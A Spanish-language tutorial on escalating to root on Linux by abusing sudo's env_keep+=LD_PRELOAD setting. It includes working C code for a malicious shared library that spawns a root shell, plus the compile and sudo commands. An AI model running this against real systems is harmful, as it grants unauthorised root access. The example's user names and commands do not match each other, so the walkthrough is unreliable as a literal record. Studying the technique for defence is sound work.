LD_PRELOAD Shared Library
Para realizar este ataque, se requiere:
- Un usuario con privilegios sudo que pueda ejecutar al menos un comando (no importa cuál).
- El uso de la variable de entorno
LD_PRELOAD
para lograr persistencia al invocar sudo.
Sobre las bibliotecas compartidas
Son archivos de código precompilado que múltiples programas pueden utilizar simultáneamente. Su propósito principal es:
- Modularizar el código, evitando duplicaciones.
- Permitir que distintas aplicaciones compartan funciones y recursos de manera eficiente.
¿Qué es LD_PRELOAD?
Es una variable de entorno en sistemas Unix/Linux que fuerza la carga de una biblioteca compartida específica antes que las demás al ejecutar un programa. Esto permite:
-
Sobrescribir funciones de bibliotecas estándar (útil para debugging o, en este caso, para explotación).
-
Modificar el comportamiento de programas sin recompilarlos.
Ejemplo
elliot@debian:~$ sudo -l
Matching Defaults entries for daniel.carter on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User daniel.carter may run the following commands on debian:
(root) NOPASSWD: /usr/sbin/apache2 restart
En el ejemplo anterior, observamos que:
-
El usuario elliot tiene permisos para ejecutar el comando apache2 como root sin necesidad de ingresar la contraseña.
-
La configuración de sudo incluye
env_keep+=LD_PRELOAD
, lo que significa que las variables de entorno (incluyendoLD_PRELOAD
) se conservan al ejecutar comandos con sudo.
Pasos para el Ataque
-
Creación de una Biblioteca Compartida Maliciosa:
- Desarrollaremos una biblioteca compartida diseñada para sobrescribir funciones clave (ej: libc).
-
Inyección mediante
LD_PRELOAD
:- Usaremos la variable LD_PRELOAD para cargar nuestra biblioteca maliciosa antes que las bibliotecas del sistema.
-
Ejecución del Comando Privilegiado:
- Al correr sudo
/usr/sbin/apache2 restart
, el sistema cargará nuestra biblioteca maliciosa debido aLD_PRELOAD
, permitiéndonos ejecutar código arbitrario con privilegios de root.
- Al correr sudo
Creación de bibliotecas compartidas maliciosas
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Compilamos el código:
gcc -fPIC -shared -o privesc.so privesc.c -nostartfiles
Ejecutamos el código:
elliot@debian:~$ $: sudo LD_PRELOAD=/locatio_of_malicious_library/malicious.so /usr/bin/ping
root@@debian #: whoami
root